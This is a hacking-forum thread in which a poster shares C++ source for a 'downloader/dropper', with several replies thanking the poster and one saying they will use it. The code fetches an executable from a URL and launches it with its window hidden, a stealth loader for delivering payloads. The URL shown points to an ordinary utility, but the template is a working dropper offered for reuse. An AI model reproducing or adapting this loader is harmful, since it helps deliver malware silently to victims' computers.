.
SOURCE | C++ Simple Downloader
by 991z3r0 - 08-30-2017 - 08:36 PM
08-30-2017 - 08:36 PM #1
This is a very simple straight forward downloader/dropper source i found posted on another forum. I have compiled and modified it to my needs and it works great if you just need something simple and native.


Code:
#include "stdafx.h"
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;

DWORD cb;
DWORD dwFlags;
WORD wShowWindow;
STARTUPINFO StartupInfo;

int main()
{
   StartupInfo.cb = sizeof(STARTUPINFO);
   StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
   StartupInfo.wShowWindow = SW_HIDE;

   HRESULT hr = URLDownloadToFile(NULL, _T("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"), _T("Putty.exe"), 0, NULL);
   WinExec("Putty.exe", SW_HIDE);

   return 0;
}

[Image: CNJn1BC.jpg]

Reply

09-15-2017 - 09:42 AM #2
Thx you My fired

Reply

10-22-2017 - 01:32 AM #3
nice one bro.....

Reply

04-18-2018 - 07:22 PM #4
oh good idea bro, i'll use this

Reply

05-08-2018 - 01:58 AM #5
Not a bad release, THanks for sharing!

Reply

06-30-2018 - 12:55 PM #6
Omg thanks for sharing. I searched for something like this in a long time :D

Reply

07-31-2018 - 06:40 AM #7
im trying to learn c++ its really difficult but this is good to learn from i appreciate it

Reply





Users browsing this thread:
1 Guest(s)